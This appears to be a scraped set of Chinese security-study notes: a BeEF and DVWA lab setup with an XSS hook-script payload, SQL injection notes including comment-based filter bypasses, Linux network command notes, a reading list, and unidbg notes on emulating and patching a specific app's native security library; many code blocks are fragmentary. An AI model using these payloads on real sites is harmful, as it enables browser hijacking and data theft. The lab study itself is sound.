[TOC]
工具使用-BeEF
环境
- Docker
- BeEF
- 存在xss漏洞的Web App: DVWA
建立环境
启动Docker
BeEF
命令行:
1
2
3docker pull janes/beef
docker run -d --name BeEF -p 0.0.0.0:3000:3000 janes/beef:latest浏览器:
1
2
3
4http://localhost:3000/ui/authentication
Username: beef
Password: beef
Web App: DVWA
命令行:
1
2
3
4docker pull citizenstig/dvwa
docker run -d --name DVWA -p 0.0.0.0:80:80 citizenstig/dvwa:latest浏览器:
1
2
3
4
5
6
7
8
9http://localhost
Username: admin
Password: password
把 DVWA 的 Security Level 调整为 low
打开 XSS(Reflected)页面
http://localhost/vulnerabilities/xss_r/浏览器:What’s your name?
1
2
3
4
5
6
7输入
<script src="http://192.168.1.100:3000/hook.js"></script>
注意:192.168.1.100是运行BeEF机器的ip地址
注意:保持这个页面一直打开,不要关闭
渗透测试-SQL注入
[TOC]
知识点
MySQL > 5.0
数据库:information_schema
表:schemata
, tables
, columns
schemata
: 存储该用户创建的所有数据库的库名,库名字段schema_name
tables
: 存储该用户创建的所有数据库的库名和表名,table_schema
,table_name
columns
: 存储该用户创建的所有数据库的库名、表名、字段名.table_schema
,table_name
,column_name
- 注释符:
#
,空格
,/**/
- 内联注释:
/*! code */
比如:id=15/*! union*//*! select*/1,2,3
- 浏览器中输入
%23
或--+
才能变为数据库中的#
order by 1-99
: 查询该数据表的字段数量
阅读列表
工具使用-网络命令
[TOC]
curl
1 | # 设置代理的2种方法 |
问:ip命令来自哪个包
答:ip 命令来自于 iproute2 安装包,一般系统会默认安装,如果没有的话,请读者自行安装
问:服务名称与port number的对应在Linux当中,是用那个文件来设定对应的?
答:/etc/services
1 | ➜ ~ cat /etc/resolv.conf |
route
host, nslookup
侦测主机名与IP对应
host这个指令可以用来查出某个主机名的IP喔!
范例一:找出tw.yahoo.com的IP
1 | ➜ ~ host tw.yahoo.com |
范例一:找出www.google.com的IP
1 | ➜ ~ nslookup www.google.com |
1 | ➜ ~ nslookup 64.13.192.76 |
netstat
netstat的输出主要分为两大部分,分别是TCP/IP的网络接口部分,以及传统的Unix socket部分。
基本上,我们常常谈到的netstat的功能,就是在观察网络的联机状态了,而网络联机状态中,又以观察『我目前开了多少的port在等待客户端的联机』以及『目前我的网络联机状态中,有多少联机已建立或产生问题』最常见。
Unix socket通常是用在一些仅在本机上运作的程序所开启的插槽接口文件,例如X Window不都是在本机上运作而已吗?那何必启动网络的port呢?当然可以使用Unix socket啰,另外,例如Postfix这一类的网络服务器,由于很多动作都是在本机上头来完成的,所以以会占用很多的Unixsocket喔!
netstat – show network status
netstat命令显示各种网络相关的数据结构。
对于显示的信息,依据选项,有多种输出格式。
第一种格式:显示各种协议所有的sockets
第二种格式:根据所选择的选项显示其他网络数据结构之一的内容
第三种格式:在指定等待间隔的情况下,netstat将在配置的网络接口上连续显示有关数据包流量的信息
第四种格式:显示指定协议或地址系列的统计信息。如果指定了等待间隔,将显示最后一个间隔的协议信息
第五种格式:显示指定协议或地址系列的每个接口统计信息
第六种格式:显示mbuf(9)统计信息
第七种格式:显示指定地址系列的路由表
第八种格式:显示路由统计信息
1 | netstat [-AaLlnW] [-f address_family | -p protocol] |
1 | # 与路由有关的参数 |
1 | #范例一:列出目前的路由表状态,且以IP及port number显示: |
1 | #范例二:列出目前的网络联机状态,且以IP及port number显示: |
1 | #范例三:列出目前已启动的网络服务: |
阅读列表-基础
文章
- 汇编语言入门教程
- 理解字节序
- 深入浅出:举个例子解读原码、反码与补码
- C/C++内存对齐详解
- 彻底搞清楚 GOT 和 PLT
- 加速各种 GitHub 资源拉取
- 如何用好谷歌等搜索引擎
- 正则表达式30分钟入门教程
- YAML 语言教程
- 理解OAuth 2.0
- DNS 查询原理详解
- 基于python flask详述 OAuth 2.0 的运作流程
- RESTful API 最佳实践
- 基于python的scrapy爬虫,关于增量爬取是怎么处理的?
- 用js写一个js解释器
- 自然语言处理简明教程
- MWeb 发布到任意系统的研究
- Gradle和Groovy
- Cmake 语法与实战入门
- CMake应用:从编译过程理解CMake
课程
图书
阅读列表-剪辑
阅读列表-文档图形
工具使用-unidbg
[TOC]
unidbg
- 版本:0.9.3
- 下载地址:
环境
- app:
ddan.1.27.1.1028.1607website.434.apk
- so: libInnoSecure.so
代码
- 类
unidbg | java | smail |
---|---|---|
ByteArray | byte[] | [B |
StringObject | String |
创建
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
221.
byte[] data = new byte[16];
new ByteArray(vm, data)
2.
new StringObject(vm, "12345")
3.
DvmInteger dvmInt = DvmInteger.valueof(vm, 2)
3.
DvmObject<?> context = vm.resolveClass("android/content/Context").newObject(null)
vm.addLocalObject(context)
4.
class UnidbgPointer extends Pointer
模块
AndroidModule extends VirtualModule<VM>
DalvikModule
Module
LinuxModule extends Module打补丁
1
2
3
4
5
6int patchCode = 0x4FF00100; //0x4FF00100:mov r0,1的机器码
emulator.getMemory().pointer(module.base + 0x1E86).setInt(0,patchCode);
Pointer pointer = UnidbgPointer.pointer(emulator, module.base + 0x1E86);
byte[] patch
pointer.write(0, patch, 0, patch.length);
定义类
- 位置
unidbg-android/src/test/java/com/
包下新建一个包,名字自己定,比如:jason.qjp
在自己建的包下新建类,名字自己定,比如:TestDanDan
- 有二种方式
1 | 方式一:extends方式 |
推荐用方式一:public class TestDanDan extends AbstractJni
- 2种方式的区别:
extends方式:方式二适用的场景,全部适用,还能解决方式二不适用的场景
变量值
需要确定的变量值:
- for32Bit() / for64Bit()
- classPath
- 32位还是64位
1 | //for32Bit(), for64Bit() 可选 |
确定方法:
方法一:试错法
在确定apk内有libInnoSecure.so
的情况下,先试for64Bit()
1 | Exception in thread "main" java.lang.IllegalStateException: load library failed: InnoSecure |
发现出错了,改为for32Bit()
方法二:file命令查看libInnoSecure.so
1 | ➜ file libInnoSecure.so |
方法三: 查看apk的lib目录
1 | lib |
armeabi-v7a
为32位
- classPath
1 | String classPath = "com/inno/innosecure/InnoSecureUtils"; |
jadx-gui反编译apk,在里面搜索System.loadLibrary("InnoSecure");
,所在的类为:com.inno.innosecure.InnoSecureUtils
, 把.
替换为/
即为classPath的值
- libso
1 | String libso = "InnoSecure"; |
这里只给了so的名字InnoSecure
,vm.loadLibrary
知道从哪里加载。
因为有写如下代码:
1 | vm = emulator.createDalvikVM(new File(apkFilePath)); |
这里的场景是:只给了一个apk,没有单独的so文件,把apk做为AndroidModule加载到内存register(memory),vm.loadLibrary
从内存memory加载so
函数调用
DvmClass
1
DvmObject callStaticJniMethodObject(Emulator<?> emulator, String method, Object...args)
Module
1
2
3Number[] callFunction(Emulator<?> emulator, long offset, Object... args)
Number[] callFunction(Emulator<?> emulator, String symbolName, Object... args)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15//获取JNIEnv *
Pointer jniEnv = vm.getJNIEnv();
//创建jobject对象
DvmObject<?> thiz = vm.resolveClass("com.kanxue.test2").newObject(null);
//准备入参
List<Object> args = new ArrayList<>();
args.add(jniEnv);
args.add(vm.addLocalObject(thiz));
args.add(vm.addLocalObject(new StringObject(vm,"XuE")));
//根据地址调用
Number[] numbers = module.callFunction(emulator, 0x9180 + 1, args.toArray());
System.out.println(numbers[0].intValue());
AbstractJni方法重写
1 | String apkFilePath = "/Users/zhoujie/Downloads/ddan.1.27.1.1028.1607website.434.apk"; |
运行输出如下:
1 | JNIEnv->FindClass(com/inno/innosecure/InnoSecureUtils) was called from RX@0x4000245d[libInnoSecure.so]0x245d |
是因为设置了如下代码:vm.setVerbose(true)
,设置是否打印Jni调用细节
从输出可以看出libInnoSecure.so
动态注册了4个方法
- 调用so中方法
1 | // java中的声明:public native String getn(); |
1 | DvmObject<String> result = obj.callJniMethodObject(emulator, "getn()Ljava/lang/String;"); |
1 | public static void main(String[] args) throws Exception { |
- 添加
callStaticObjectMethod
1 | @Override |
callStaticObjectMethod
vscallStaticObjectMethodV
callObjectMethod
vscallObjectMethodV
1 | public DvmObject<?> callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { |
1 | public DvmObject<?> callObjectMethod(BaseVM vm, DvmObject<?> dvmObject, String signature, VarArg varArg) { |
- 优先重写
callStaticObjectMethod
和callObjectMethod
- 带V的一般没调用到
- 被调用的系统API
1 | android/app/ActivityThread->currentApplication()Landroid/app/Application; |
图片
- AndroidEmulator
- VM
jni动态注册
代码
java代码
1 | // 文件:MainActivity.java |
cpp代码
1 | // 文件:native-lib.cpp |
IDA分析出的伪代码
1 | // jint registerNativeMeth(JNIEnv *env) |
1 | // jint JNI_OnLoad(JavaVM* vm, void* reserved) |
1 | //java代码 |
分析
1 | //java代码 |
1 | //java代码 |
1 | //java代码 |
- 结果
1 | // 参数数量变化 |